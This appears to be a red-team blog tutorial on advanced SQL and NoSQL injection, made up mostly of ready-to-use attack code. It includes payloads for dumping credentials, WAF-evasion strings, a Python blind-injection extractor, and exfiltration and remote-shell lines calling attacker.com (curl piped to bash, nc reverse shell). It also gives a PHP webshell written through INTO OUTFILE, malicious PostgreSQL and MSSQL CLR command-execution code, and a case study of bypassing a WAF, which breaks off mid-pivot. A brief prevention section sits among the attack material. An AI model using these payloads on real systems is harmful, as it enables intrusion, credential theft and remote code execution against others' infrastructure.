Greetings, fellow hackers and pen testers! As we continue to explore the depths of web application security, we cannot overlook the importance of advanced SQL injection techniques. This powerful and versatile attack vector remains a persistent threat to web applications - still appearing in the OWASP Top 10 in 2024. Today, we’ll dive into the fascinating world of SQL injection, covering advanced techniques, manual exploitation, and evasion methods that will serve you well on real-world engagements.
SQL Injection (SQLi) is more than just dumping passwords; it’s a potential gateway to Remote Code Execution (RCE) and full infrastructure compromise. A SQL injection in a web application can lead to:
- Data exfiltration: Dumping entire databases, including credentials, PII, and intellectual property.
- Authentication Bypass: Logging in as any user, including administrators.
- Data Manipulation: Modifying or deleting critical records.
- Remote Code Execution: Using database features like
xp_cmdshell(MSSQL) orCOPY TO PROGRAM(PostgreSQL) to execute OS commands. - lateral movement: Pivoting to internal systems via database links or by dumping credentials stored in the database.
SQL Injection Types: A Taxonomy#
Before we dive into exploitation, let’s establish a clear taxonomy of SQL injection types.
In-Band SQLi (Classic)#
The attacker uses the same channel to inject the payload and retrieve results.
- UNION-Based: Results of the injected query are directly returned in the application’s response.
- Error-Based: The database’s error messages reveal data.
Inferential SQLi (Blind)#
The database does not return data directly; the attacker infers information based on the application’s behavior.
- Boolean-Based Blind: The application returns different responses (e.g., “Welcome” vs. “Invalid”) based on whether a condition is true or false.
- Time-Based Blind: The application’s response time reveals information (e.g., if
SLEEP(5)is executed, the response takes 5 seconds longer).
Out-of-Band (OOB) SQLi#
The attacker forces the database server to make an external network connection (DNS or HTTP) to a server they control.
- Used when in-band and blind techniques are unreliable or blocked.
- Requires the database to have network access and the relevant features enabled.
Second-Order SQLi#
The malicious payload is not executed immediately. Instead, it is stored in the database and executed later when retrieved by a different query.
- Extremely difficult to detect with automated scanners.
- Common in applications that store user input and later use it in dynamic SQL.
Manual UNION-Based Exploitation: The Surgeon’s Knife#
While sqlmap is a fantastic tool, a professional red team operator can do it by hand. Manual exploitation is often the only way to bypass a strict WAF that fingerprints automated tool behavior. It also provides a deeper understanding of what’s actually happening.
Step 1: Confirm the Injection Point#
Always start by confirming that the application incorporates user input into a SQL query unsafely.
# Original request
GET /products?id=1
# Test for numeric injection (no quotes)
GET /products?id=1 AND 1=1 # Should behave normally
GET /products?id=1 AND 1=2 # Should behave differently (e.g., no results)
# Test for string injection (quotes)
GET /products?id=1' # Should cause an error or different behavior
GET /products?id=1' AND '1'='1 # Should behave normally
GET /products?id=1' AND '1'='2 # Should behave differently
Step 2: Determine Column Count with ORDER BY#
We use ORDER BY to find the number of columns returned by the original query. This is essential for UNION-based attacks because the number of columns in the injected query must match the original.
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' ORDER BY 4-- -- If this causes an error, the query has 3 columns.
-- (double-dash comment) doesn’t work, try # (MySQL), /* */ (block comment), or --+ (URL-encoded space).Step 3: Identify Reflectable Columns with UNION SELECT#
Now we find which columns accept string data and are displayed in the response using UNION SELECT. We need to ensure our injected data appears somewhere visible.
-- For 3 columns
' UNION SELECT NULL,NULL,NULL--
-- Replace NULLs with test values one at a time
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--
When the page displays the character 'a', you’ve found your “sink” - the column that reflects data back to you. If no data is reflected, you may be dealing with a Blind injection.
Step 4: Fingerprint the Database#
Before extracting data, identify the database management system (DBMS). The syntax for metadata queries differs between systems.
-- MySQL / MariaDB
' UNION SELECT NULL,@@version,NULL--
' UNION SELECT NULL,version(),NULL--
-- Microsoft SQL Server (MSSQL)
' UNION SELECT NULL,@@version,NULL--
-- PostgreSQL
' UNION SELECT NULL,version(),NULL--
-- Oracle (note: requires FROM dual)
' UNION SELECT NULL,banner,NULL FROM v$version--
' UNION SELECT NULL,(SELECT banner FROM v$version WHERE ROWNUM=1),NULL FROM dual--
-- SQLite
' UNION SELECT NULL,sqlite_version(),NULL--
Step 5: Extract Database Metadata#
Now, list the databases, tables, and columns.
MySQL:
-- List all databases
' UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata--
-- List tables in the current database
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
-- List columns in a specific table
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
Microsoft SQL Server (MSSQL):
-- List all databases
' UNION SELECT NULL,name,NULL FROM master.sys.databases--
-- List tables in the current database
' UNION SELECT NULL,name,NULL FROM sys.tables--
-- List columns in a specific table
' UNION SELECT NULL,name,NULL FROM sys.columns WHERE object_id=OBJECT_ID('users')--
PostgreSQL:
-- List all databases
' UNION SELECT NULL,datname,NULL FROM pg_database--
-- List tables
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='public'--
-- List columns
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
Step 6: Dump Sensitive Data#
Finally, extract the data you’re after.
-- MySQL: Dump usernames and passwords
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--
-- MSSQL: Concatenation uses +
' UNION SELECT NULL,username+':'+password,NULL FROM users--
-- PostgreSQL: Concatenation uses ||
' UNION SELECT NULL,username||':'||password,NULL FROM users--
Error-Based SQL Injection#
When UNION-based injection isn’t possible (for example the query output isn’t displayed), but errors are, we can force the database to leak data within error messages.
MSSQL: CONVERT Errors#
' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))--
If the username is “admin,” the error might say: Conversion failed when converting the nvarchar value 'admin' to data type int.
MySQL: EXTRACTVALUE / UPDATEXML#
These XML functions can be abused to generate errors containing query results.
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()),0x7e))--
-- Error: XPATH syntax error: '~root@localhost~'
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT database()),0x7e),1)--
PostgreSQL: CAST errors#
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
-- Error: invalid input syntax for type integer: "admin"
Blind SQL Injection#
When there’s no visible output or error messages, we must infer data from changes in the application’s behavior.
Boolean-Based Blind#
The application returns different content based on whether the injected condition is true or false.
-- Step 1: Confirm the injection
' AND 1=1-- (Page displays normally)
' AND 1=2-- (Page is empty or different)
-- Step 2: Extract data character by character
-- Is the first character of the database name greater than 'm'?
' AND SUBSTRING(database(),1,1)>'m'--
-- Binary search to find the exact character
' AND SUBSTRING(database(),1,1)='t'--
' AND SUBSTRING(database(),1,1)='e'--
' AND SUBSTRING(database(),1,1)='s'-- (True! First char is 's')
-- Extract second character
' AND SUBSTRING(database(),2,1)='e'--
This is slow (extracting 10 characters requires ~80 requests with binary search), which is why sqlmap exists.
Time-Based Blind#
When even the boolean difference isn’t visible (for example the page always looks the same), we use time delays.
-- MySQL
' AND IF(1=1,SLEEP(5),0)-- (Response takes 5 seconds)
' AND IF(1=2,SLEEP(5),0)-- (Response is immediate)
-- MSSQL
'; IF (1=1) WAITFOR DELAY '0:0:5'--
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
-- Oracle (requires PL/SQL execution)
'; BEGIN IF (1=1) THEN dbms_lock.sleep(5); END IF; END;--
Extract data:
-- MySQL: Is the first character of the DB name 's'?
' AND IF(SUBSTRING(database(),1,1)='s',SLEEP(5),0)--
Automating Blind SQL Injection with Python#
While sqlmap is powerful, sometimes you need a custom exploit. Maybe the injection point is in a weird JSON header, or the WAF blocks sqlmap’s heuristics. Writing your own extractor is a core red team skill.
Here is a robust Python 3 script to exploit a Boolean-Based Blind injection.
import requests
import string
import sys
# Configuration
TARGET_URL = "http://target.com/vuln.php"
INJECTION_POINT = "id" # Parameter to inject
TRUE_STRING = "User found" # String present when query is TRUE
SESSION_COOKIE = "PHPSESSID=123456789"
# Character set to bruteforce (optimized order)
CHARSET = string.ascii_lowercase + string.digits + "._-@,"
def check_payload(payload):
"""
Sends the payload and checks if the response indicates TRUE.
"""
params = {INJECTION_POINT: payload}
headers = {"Cookie": SESSION_COOKIE}
try:
r = requests.get(TARGET_URL, params=params, headers=headers, timeout=5)
if TRUE_STRING in r.text:
return True
return False
except requests.exceptions.RequestException as e:
print(f"[!] Network Error: {e}")
sys.exit(1)
def get_database_length():
"""
Finds the length of the current database name.
"""
print("[*] Determining database name length...")
for i in range(1, 50):
# Payload: 1' AND LENGTH(database())=X-- -
payload = f"1' AND LENGTH(database())={i}-- -"
if check_payload(payload):
print(f"[+] Database name length: {i}")
return i
print("[-] Failed to determine length.")
return None
def extract_database_name(length):
"""
Extracts the database name character by character.
"""
print("[*] Extracting database name...")
db_name = ""
for i in range(1, length + 1):
found = False
for char in CHARSET:
# Payload: 1' AND SUBSTRING(database(),X,1)='Y'-- -
# Note: We use hex encoding for the char to avoid quote issues
char_hex = hex(ord(char))
payload = f"1' AND SUBSTRING(database(),{i},1)={char_hex}-- -"
sys.stdout.write(f"\r[>] Found: {db_name}{char}")
sys.stdout.flush()
if check_payload(payload):
db_name += char
found = True
break
if not found:
db_name += "?"
print(f"\n[+] Database Name: {db_name}")
return db_name
if __name__ == "__main__":
print("=== Blind SQLi Extractor ===")
length = get_database_length()
if length:
extract_database_name(length)
Optimizing with Binary Search#
The script above uses Linear Search (checking ‘a’, then ‘b’, then ‘c’…). This is slow (O(n)). A better approach is Binary Search (O(log n)). Since characters are just integers (ASCII values), we can ask “Is the character value > 100?”.
def extract_char_binary(index):
low = 32 # Printable ASCII start
high = 126 # Printable ASCII end
while low <= high:
mid = (low + high) // 2
# Payload: 1' AND ASCII(SUBSTRING(database(),X,1))>Y-- -
payload = f"1' AND ASCII(SUBSTRING(database(),{index},1))>{mid}-- -"
if check_payload(payload):
low = mid + 1
else:
high = mid - 1
return chr(low)
This reduces the requests per character from ~40 to exactly 7 (since $2^7 = 128$). For a 10-character password, that’s 70 requests instead of 400.
Stacked Queries#
Some database/driver combinations allow multiple SQL statements separated by semicolons to be executed in a single request.
'; DROP TABLE users;--
'; INSERT INTO users (username, password) VALUES ('hacker','pwned');--
Supported Databases:
- MSSQL: Yes (widely supported).
- PostgreSQL: Yes.
- MySQL: Depends on the driver. PHP’s
mysql_query()does not support stacked queries, butmysqli_multi_query()and PDO (PHP Data Objects) might. - Oracle: No.
- SQLite: Yes, via
executescript().
Stacked queries are powerful for:
- Data manipulation (INSERT, UPDATE, DELETE).
- Enabling dangerous features (
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--). - Time-based blind attacks on databases that don’t support inline time functions.
Second-Order SQL Injection#
Second-Order SQLi (also called Stored SQLi) occurs when user-supplied data is stored in the database and later incorporated into an SQL query without proper sanitization.
Scenario:
An attacker registers a new user with the username:
admin'--The application safely inserts this into the
userstable using parameterized queries. No immediate injection occurs.Later, an administrative function retrieves the username and uses it in a dynamically constructed query:
$username = get_username_from_db($user_id); // Returns "admin'--" $query = "SELECT * FROM orders WHERE user = '$username'";The resulting query becomes:
SELECT * FROM orders WHERE user = 'admin'--'The attacker is now viewing the admin’s orders.
Why Second-Order SQLi is Dangerous:
- It evades many automated scanners because the injection point and the execution point are different.
- The input may be validated on entry but trusted on retrieval.
- It requires careful code review and data flow analysis to find.
Detection:
- Register accounts with SQLi payloads as usernames, emails, or other stored fields.
- Monitor for unexpected behavior in features that display or use this stored data (profile pages, admin dashboards, export functions).
WAF Evasion Techniques#
Web Application Firewalls (WAFs) love to block keywords like SELECT, UNION, and OR 1=1. Red team operators must be creative.
Comment Injection#
Many WAFs are confused by internal comments.
-- Bypassing with inline comments (MySQL specific)
UN/**/ION SEL/**/ECT 1,2,3--
-- Version comments (MySQL): Executed only if server version >= 5.00.00
/*!50000UNION*/ /*!50000SELECT*/ 1,2,3--
Case Manipulation#
Standard SQL is case-insensitive for keywords, but many WAF regex patterns are case-sensitive.
uNiOn sElEcT 1,2,3--
UnIoN aLl SeLeCt 1,2,3--
Encoding#
URL-encode your payload. Double-encoding can bypass WAFs that decode once.
-- Standard URL Encoding
%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33--
-- Double URL Encoding
%2555%254e%2549%254f%254e (UNION)
Hex Encoding Strings (MySQL)#
Replace string literals with their hex equivalents.
' UNION SELECT 1,0x61646d696e,3--
-- 0x61646d696e is the hex encoding of "admin"
Whitespace Substitution#
Replace spaces with other characters that SQL parsers accept but WAFs might not expect.
-- Tab character (%09)
'%09UNION%09SELECT%091,2,3--
-- Newline (%0A)
'%0aUNION%0aSELECT%0a1,2,3--
-- Inline comments as whitespace
'/**/UNION/**/SELECT/**/1,2,3--
HTTP Parameter Pollution (HPP)#
Some WAFs only inspect the first occurrence of a parameter, while the application might concatenate them or use the last one.
GET /vuln?id=1&id=' UNION SELECT 1,2,3--
JSON/XML Payloads#
If the application accepts JSON or XML, the WAF might not parse these formats as thoroughly.
{
"id": "1' UNION SELECT 1,user(),3--"
}
Advanced WAF Evasion: Unicode Normalization#
Modern WAFs often decode input before inspecting it. However, if the backend database handles Unicode differently than the WAF, you can smuggle payloads.
Kelvin Sign (K): \u212A
Some systems normalize this character to the letter k.
SELEC\u212A -> SELECT.
If the WAF sees SELECK (with the symbol), it doesn’t match the blocklist for SELECT. But the database normalizes it and executes the query.
Full-width Characters:
SELECT (Full-width ASCII)
WAF might see these as distinct Unicode characters, but MySQL/MSSQL might treat them as their ASCII (American Standard Code for Information Interchange) equivalents.
OOB (Out-of-Band) Exfiltration#
When in-band (UNION, Error) and Blind techniques fail or are too slow, OOB exfiltration forces the database to connect to an attacker-controlled server.
Requirements:
- The database server must have network egress.
- Relevant database features (for example
xp_dirtree,UTL_HTTP) must be enabled.
DNS Exfiltration#
DNS is often allowed through firewalls. We force the database to resolve a hostname containing the exfiltrated data.
MSSQL:
-- Force a DNS lookup; the subdomain contains the query result
'; DECLARE @data VARCHAR(1024); SELECT @data = user; EXEC('master..xp_dirtree "\\' + @data + '.attacker.com\foo"')--
Check your DNS logs (for example using nslookup, tcpdump, or a Burp Collaborator) for queries like sa.attacker.com.
Oracle:
SELECT UTL_INADDR.get_host_address((SELECT user FROM dual)||'.attacker.com') FROM dual;
PostgreSQL:
PostgreSQL doesn’t have a built-in DNS function, but you can use COPY TO PROGRAM if you have sufficient privileges:
COPY (SELECT '') TO PROGRAM 'nslookup $(whoami).attacker.com';
HTTP Exfiltration#
If HTTP egress is allowed:
Oracle (UTL_HTTP):
SELECT UTL_HTTP.REQUEST('http://attacker.com/' || (SELECT user FROM dual)) FROM dual;
PostgreSQL (COPY TO PROGRAM):
COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/?data=$(whoami)';
MSSQL (xp_cmdshell):
'; EXEC xp_cmdshell 'curl http://attacker.com/?data=%USERNAME%'--
Tools for OOB Testing#
- Burp Collaborator: Built into Burp Suite Professional.
- Interactsh: Free, open-source OOB interaction server.
- DNSLog: Simple online DNS logger.
From SQLi to Remote Code Execution#
The ultimate goal of many SQLi attacks is RCE. Here’s how to achieve it on different platforms.
MSSQL: xp_cmdshell#
-- Enable xp_cmdshell (requires sysadmin)
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
-- Execute commands
'; EXEC xp_cmdshell 'whoami';--
'; EXEC xp_cmdshell 'powershell -enc BASE64_ENCODED_PAYLOAD';--
PostgreSQL: COPY TO PROGRAM#
Requires superuser privileges.
'; COPY (SELECT '') TO PROGRAM 'id';--
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh | bash';--
Alternatively, use Large Object functions:
'; SELECT lo_export(12345, '/tmp/shell.sh');-- (after importing shellcode)
'; COPY (SELECT '') TO PROGRAM 'bash /tmp/shell.sh';--
MySQL: INTO OUTFILE / LOAD_FILE#
MySQL can write files to the filesystem (if secure_file_priv allows):
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--
Read files:
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3--
Oracle: Java Stored Procedures / Scheduler Jobs#
If Java is installed in Oracle, you can create a Java stored procedure to execute OS commands. This is complex and typically requires DBA privileges.
Advanced PostgreSQL: From Admin to RCE with UDFs#
If you find a SQL injection in PostgreSQL and you have superuser privileges (or the database user is postgres), you can achieve Remote Code Execution (RCE) by compiling a malicious Shared Object (.so) file and loading it as a User Defined Function (UDF).
The Concept#
PostgreSQL allows users to extend the database functionality by loading C libraries. If we can upload a compiled .so file to the server’s filesystem and then tell Postgres to load a function from it, we can execute arbitrary C code.
Step 1: Create the Malicious Shared Object#
We need a C file that defines a Postgres-compatible function.
// evil.c
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(run_cmd);
Datum run_cmd(PG_FUNCTION_ARGS) {
text *command = PG_GETARG_TEXT_P(0);
char *cmd_str = text_to_cstring(command);
// Execute the command
int result = system(cmd_str);
PG_RETURN_INT32(result);
}
Compile it on a machine with the same architecture (usually Linux x64) and Postgres headers installed:
gcc -fPIC -c evil.c
gcc -shared -o evil.so evil.o
Step 2: Upload the Library via SQL Injection#
We need to write this binary file to the disk. PostgreSQL’s lo_import and lo_export functions are perfect for this “Large Object” manipulation.
First, we encode evil.so to hex to make it SQL-safe.
-- 1. Create a Large Object (LO)
SELECT lo_create(1337);
-- 2. Inject the payload in 2KB chunks (Postgres has page limits)
-- Hex data of evil.so
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 0, decode('7f454c46...', 'hex'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 1, decode('...', 'hex'));
-- 3. Export the LO to a file
SELECT lo_export(1337, '/tmp/evil.so');
Step 3: Load and Execute#
Now that the file is on disk at /tmp/evil.so, we load it.
-- Create the function mapping
CREATE OR REPLACE FUNCTION run_cmd(text) RETURNS int4 AS '/tmp/evil.so', 'run_cmd' LANGUAGE C STRICT;
-- Trigger RCE
SELECT run_cmd('nc -e /bin/bash attacker.com 4444');
Mitigation:
This attack requires the database user to have permissions to create C language functions, which is typically restricted to superusers. It also requires write access to a directory (like /tmp) where the library can be loaded from. Modern Postgres installations often block loading libraries from world-writable directories.
Weaponizing SQLMap for Professionals#
Don’t just run sqlmap -u [URL]. Use the advanced flags to bypass modern defenses and maximize efficiency.
Essential Flags#
# Specify injection point with * marker
sqlmap -u "http://target.com/page?id=1*" --batch
# Test all parameters, including headers
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3
# Level 5 tests: Cookie, User-Agent, Referer, X-Forwarded-For headers
# Risk 3 includes: OR-based injections, heavy time-based injections, stacked queries
WAF Evasion with Tamper Scripts#
# List available tamper scripts
sqlmap --list-tampers
# Common bypass combination
sqlmap -u "http://target.com/?id=1" --tamper=space2comment,randomcase,between
# MySQL WAF bypass
sqlmap -u "..." --tamper=charencode,space2mssqlhash,versionedkeywords
Data Exfiltration#
# Dump all databases
sqlmap -u "..." --dbs
# Dump tables from a specific database
sqlmap -u "..." -D target_db --tables
# Dump columns from a specific table
sqlmap -u "..." -D target_db -T users --columns
# Dump specific columns
sqlmap -u "..." -D target_db -T users -C username,password --dump
Post-Exploitation#
# Get an OS shell (MSSQL/PostgreSQL)
sqlmap -u "..." --os-shell
# Get a SQL shell
sqlmap -u "..." --sql-shell
# Read a file
sqlmap -u "..." --file-read=/etc/passwd
# Write a file (webshell)
sqlmap -u "..." --file-write=shell.php --file-dest=/var/www/html/shell.php
Proxying and Logging#
# Proxy through Burp to analyze requests
sqlmap -u "..." --proxy=http://127.0.0.1:8080
# Save traffic to a file
sqlmap -u "..." -t traffic.txt
Beyond SQL: NoSQL Injection#
Modern web stacks (MEAN/MERN) often use MongoDB instead of SQL. These databases use JSON-like documents and don’t speak SQL, so standard ' OR 1=1 payloads won’t work. However, they are still vulnerable to injection if user input is concatenated into query objects or used in JavaScript expressions.
Authentication Bypass#
In MongoDB, queries are often constructed as JSON objects.
db.users.find({username: req.body.username, password: req.body.password})
If the attacker sends a JSON object instead of a string for the password:
{
"username": "admin",
"password": { "$ne": "" }
}
The query becomes: “Find a user where username is ‘admin’ AND password is Not Equal to empty string.” Since the admin has a password, this evaluates to true, and we bypass authentication.
Blind NoSQL Injection (Extraction)#
We can use Regex to extract data.
{
"username": "admin",
"password": { "$regex": "^a" }
}
If this returns success, the password starts with ‘a’. We can iterate through characters just like Blind SQLi.
JavaScript Injection ($where)#
If the application uses the $where operator, it executes arbitrary JavaScript server-side.
db.users.find({ $where: "this.username == '" + input + "'" })
Payload: admin' || sleep(5000) || '
This allows for standard Time-Based Blind attacks, but using JavaScript functions.
Enterprise Grade: Oracle SQL Injection#
While MySQL and MSSQL are common, Oracle Database powers the world’s largest financial and government systems. Exploiting it requires a different mindset and a different syntax.
The DUAL Table#
In Oracle, every SELECT statement must have a FROM clause. If you aren’t selecting from a table, you select from dual.
' UNION SELECT 'a', 'b' FROM dual--
String Concatenation#
Oracle uses || for concatenation, not + or CONCAT().
' UNION SELECT user || ':' || password FROM users--
Version Fingerprinting#
' UNION SELECT banner FROM v$version--
Data Extraction with LISTAGG#
Oracle 11gR2+ introduced LISTAGG, which is equivalent to MySQL’s GROUP_CONCAT. This allows dumping multiple rows in a single query (great for WAFs that block offsets).
' UNION SELECT LISTAGG(column_name, ',') WITHIN GROUP (ORDER BY column_name) FROM all_tab_columns WHERE table_name='USERS'--
Out-of-Band Exfiltration with UTL_HTTP and UTL_INADDR#
Oracle is famous for its powerful built-in packages.
DNS Exfiltration:
SELECT UTL_INADDR.get_host_address((SELECT user FROM dual)||'.attacker.com') FROM dual;
HTTP Exfiltration:
SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual;
Mitigation: Administrators can restrict access to these packages using Access Control Lists (ACLs), but they are often enabled by default or granted to PUBLIC.
Modern Attack Surface: GraphQL Injection#
GraphQL is replacing REST in many modern applications. While it’s a query language for APIs, it is often backed by a SQL database (via ORMs like Sequelize, TypeORM, or Prisma).
If the resolvers improperly sanitize arguments, you can inject SQL through GraphQL.
The Scenario#
A GraphQL query looks like this:
query {
user(id: "1") {
username
email
}
}
The resolver might do:
const query = "SELECT * FROM users WHERE id = '" + args.id + "'";
The Exploit#
We inject just like standard SQLi, but inside the JSON payload.
{
"query": "query { user(id: \"1' OR 1=1--\") { username email } }"
}
Blind Injection in GraphQL#
GraphQL often returns generic error messages (“Internal Server Error”) or null when a query fails. This forces us into Boolean or Time-Based Blind attacks.
Time-Based Payload (Postgres backend):
query {
products(category: "Electronics' OR pg_sleep(10)--") {
name
}
}
If the request hangs for 10 seconds, you have SQLi.
Writing Custom SQLMap Tamper Scripts#
Sometimes, the built-in tamper scripts aren’t enough. Maybe the WAF replaces UNION with XXX, or requires a specific magic header hash. SQLMap allows you to write Python scripts to modify every payload before it’s sent.
Create a file my_bypass.py in sqlmap/tamper/.
#!/usr/bin/env python
"""
Bypasses a WAF that strips "UNION SELECT" by replacing it with "UNION/*FOO*/SELECT"
and randomizing the case.
"""
from lib.core.enums import PRIORITY
import random
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def randomize_case(s):
return "".join(random.choice([c.upper(), c.lower()]) for c in s)
def tamper(payload, **kwargs):
"""
Modifies the payload
"""
if payload:
# Replace spaces with comments
payload = payload.replace("UNION SELECT", "UNION/*FOO*/SELECT")
# Randomize case for keywords
payload = randomize_case(payload)
return payload
Run it with:
sqlmap -u "http://target.com?id=1" --tamper=my_bypass.py
This flexibility is why SQLMap remains the king of injection tools.
Prevention and Mitigation#
While we focus on exploitation, understanding defenses is crucial for writing comprehensive reports.
The Gold Standard: Parameterized Queries (Prepared Statements)#
# VULNERABLE (string concatenation)
cursor.execute("SELECT * FROM users WHERE id = '" + user_id + "'")
# SAFE (parameterized query)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
Parameterized queries ensure that user input is always treated as data, never as SQL code.
Defense in Depth#
- Least Privilege: The database user for the web application should never be
sa,root, orpostgres. It should have only the minimum permissions required (SELECT on specific tables, no DDL, noxp_cmdshell). - Database Hardening:
- Disable dangerous procedures:
xp_cmdshell(MSSQL),UTL_HTTP/UTL_FILE(Oracle),lo_export(PostgreSQL). - Set
secure_file_priv(MySQL) to restrictLOAD_FILEandINTO OUTFILE. - Disable stacked queries at the driver level if not needed.
- Disable dangerous procedures:
- Input Validation: Whitelist allowed characters for fields like usernames. Reject inputs containing SQL metacharacters when appropriate (though this should not be the primary defense).
- WAF Rules: Deploy a WAF with custom rules for your application’s specific parameters. Assume the WAF will be bypassed and layer other defenses.
- Error Handling: Never display raw database errors to users. Log them server-side and show a generic error message.
- ORM Usage: Object-Relational Mappers (ORMs) like SQLAlchemy, Hibernate, and Django ORM generally use parameterized queries under the hood, reducing the attack surface.
Advanced MSSQL: Bypassing xp_cmdshell with CLR Assemblies#
In modern hardened environments, xp_cmdshell is almost always disabled and monitored. However, Microsoft SQL Server has a feature called SQLCLR (Common Language Runtime), which allows you to write stored procedures in C#.
If you have ALTER ANY ASSEMBLY permissions (or are sysadmin), you can load a malicious DLL into the database process and execute it.
Step 1: Write the C# Payload#
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Diagnostics;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec(SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format("/c {0}", execCommand);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
}
Compile this to shell.dll.
Step 2: Enable CLR#
sp_configure 'clr enabled', 1;
RECONFIGURE;
Step 3: Import the Assembly#
We need to convert the DLL to a hex string and import it.
CREATE ASSEMBLY [Shell]
FROM 0x4D5A90000300000004000000FFFF0000... -- Hex of shell.dll
WITH PERMISSION_SET = UNSAFE;
PERMISSION_SET = UNSAFE requires the database to be marked as TRUSTWORTHY.
ALTER DATABASE [master] SET TRUSTWORTHY ON;Step 4: Create the Procedure and Execute#
CREATE PROCEDURE [dbo].[cmd_exec]
@execCommand NVARCHAR (4000)
AS EXTERNAL NAME [Shell].[StoredProcedures].[cmd_exec];
-- Execute
EXEC cmd_exec 'whoami';
This technique often evades alerts looking specifically for xp_cmdshell.
Case Study: Breaching the “Fortress” - A Real-World Engagement#
To tie all these concepts together, let’s walk through a recent Red Team engagement shared with me where SQL injection was the key to compromising a high-security financial application. I’ll anonymize details for confidentiality, but the techniques are real.
The Target#
The target was a “Wealth Management Portal” protected by a top-tier Cloud WAF and strictly segmented from the internet. Our goal was to access the backend database containing HNWI (high-net-worth individual) data.
Phase 1: Reconnaissance and WAF Blues#
We started with standard fuzzing. The application was heavily protected.
GET /api/v1/user?id=1' -> 403 Forbidden (WAF blocked).
GET /api/v1/user?id=1 AND 1=1 -> 403 Forbidden.
The WAF was configured to drop any request containing SQL keywords like UNION, SELECT, AND, OR. Even innocuous strings like “select options” in a POST body were getting blocked.
Phase 2: The Evasion#
We tried standard bypasses (URL encoding, case switching) with no luck. Then we turned to HTTP Parameter Pollution (HPP) and Chunked Transfer Encoding.
We noticed the application server (a legacy IIS backend) processed Transfer-Encoding: chunked requests differently than the WAF. The WAF inspected the body as a whole, but if we chunked the malicious payload in a specific way, the WAF saw fragments while IIS (Microsoft Internet Information Services) reassembled the full attack.
Request:
POST /api/v1/search HTTP/1.1
Host: target.wealth.com
Transfer-Encoding: chunked
Content-Type: application/json
4
{"q"
3
: "
9
admin' --
2
"}
0
The WAF saw meaningless chunks. The backend saw {"q": "admin' --"}.
Response: 200 OK. The WAF was bypassed.
Phase 3: The Blind Injection#
The endpoint /api/v1/search returned a JSON list of documents.
{"q": "admin' AND 1=1--"} -> Returned results.
{"q": "admin' AND 1=2--"} -> Returned empty list.
We had a Boolean-Based Blind injection. However, using sqlmap through the chunking bypass script was incredibly slow (1 request per second due to network overhead). We needed a faster way.
Phase 4: Second-Order Escalation#
We found a “Profile Update” feature. We could update our “Nickname”.
We set our nickname to: Admin'/*
Later, we visited the “Audit Log” page, which listed recent actions by users.
The query likely looked like:
SELECT * FROM logs WHERE username = 'Current_User_Nickname'
When we viewed the logs, the query became:
SELECT * FROM logs WHERE username = 'Admin'/*'
This commented out the rest of the query. But we needed to inject.
We changed our nickname to:
' UNION SELECT 1, user, 3, 4--
When we refreshed the Audit Log, the application crashed (500 Internal Server Error). The column count was wrong. We manually enumerated the columns (ORDER BY wasn’t working in this stored context easily).
Finally, with 12 columns:
' UNION SELECT 1, 2, 3, @@version, 5, 6, 7, 8, 9, 10, 11, 12--
The Audit Log page rendered. Instead of a log entry, we saw:
Microsoft SQL Server 2016 (SP2) - 13.0.5026.0 (X64)
We had In-Band SQLi via a Second-Order vector!
Phase 5: Exfiltration and RCE#
Since we could see the output, we dumped the sa password hash. It was strong. We couldn’t crack it.
We checked for xp_cmdshell:
' UNION SELECT 1, (SELECT CASE WHEN value=1 THEN 'ENABLED' ELSE 'DISABLED' END FROM sys.configurations WHERE name='xp_cmdshell'), ...
Output: DISABLED.
We tried to enable it:
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
Error: User does not have permission to perform this action. We were not sa. We were db_owner for the specific application database, but not sysadmin.
Phase 6: The Pivot#
We listed the other databases:
' UNION SELECT 1, name, 3... FROM sys.databases--
We found a database named Legacy_Auth. We dumped the users table from that database.
It contained cleartext credentials for a service account: svc_legacy_backup.
